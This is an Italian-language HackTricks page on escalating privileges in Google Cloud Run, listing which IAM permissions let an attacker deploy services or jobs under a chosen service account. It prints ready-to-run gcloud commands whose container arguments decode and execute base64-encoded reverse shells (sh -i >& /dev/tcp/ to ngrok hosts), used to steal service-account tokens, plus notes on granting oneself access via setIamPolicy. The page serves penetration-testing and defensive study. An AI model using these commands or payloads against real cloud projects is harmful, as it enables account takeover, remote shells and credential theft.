GCP - Run Privesc

Supporta HackTricks

Cloud Run

Per ulteriori informazioni su Cloud Run controlla:

GCP - Cloud Run Enum

run.services.create , iam.serviceAccounts.actAs, run.routes.invoke

Un attaccante con questi permessi per creare un servizio di esecuzione che esegue codice arbitrario (contenitore Docker arbitrario), allegare un Service Account ad esso e far sì che il codice esfiltri il token del Service Account dai metadati.

Uno script di exploit per questo metodo può essere trovato qui e l'immagine Docker può essere trovata qui.

Nota che quando si utilizza gcloud run deploy invece di creare semplicemente il servizio ha bisogno del permesso update. Controlla un esempio qui.

run.services.update , iam.serviceAccounts.actAs

Come il precedente ma aggiornando un servizio:

# Launch some web server to listen in port 80 so the service works
echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
# cHl0aG9uMyAtbSBodHRwLnNlcnZlciA4MDtzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5ldS5uZ3Jvay5pby8xNDM0OCAwPiYxCg==

gcloud run deploy hacked \
--image=ubuntu:latest \
--command=bash \
--args="-c,echo cHl0aG9uMyAtbSBodHRwLnNlcnZlciA4MDtzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5ldS5uZ3Jvay5pby8xNDM0OCAwPiYxCg== | base64 -d | bash" \
--service-account="<proj-num>-compute@developer.gserviceaccount.com" \
--region=us-central1 \
--allow-unauthenticated

# If you don't have permissions to use "--allow-unauthenticated", dont use it

run.services.setIamPolicy

Concediti permessi precedenti su Cloud Run.

run.jobs.create, run.jobs.run, iam.serviceaccounts.actAs,(run.jobs.get)

Avvia un lavoro con una reverse shell per rubare l'account di servizio indicato nel comando. Puoi trovare un exploit qui.

gcloud beta run jobs create jab-cloudrun-3326 \
--image=ubuntu:latest \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNC50Y3AuZXUubmdyb2suaW8vMTIxMzIgMD4mMQ== | base64 -d | bash" \
--service-account="<sa>@$PROJECT_ID.iam.gserviceaccount.com" \
--region=us-central1

run.jobs.update,run.jobs.run,iam.serviceaccounts.actAs,(run.jobs.get)

Simile a quello precedente, è possibile aggiornare un lavoro e aggiornare il SA, il comando e eseguirlo:

gcloud beta run jobs update hacked \
--image=mubuntu:latest \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNy50Y3AuZXUubmdyb2suaW8vMTQ4NDEgMD4mMQ== | base64 -d | bash" \
--service-account=<proj-num>-compute@developer.gserviceaccount.com \
--region=us-central1 \
--execute-now

run.jobs.setIamPolicy

Concediti i permessi precedenti sui Cloud Jobs.

Riferimenti

Support HackTricks

Last updated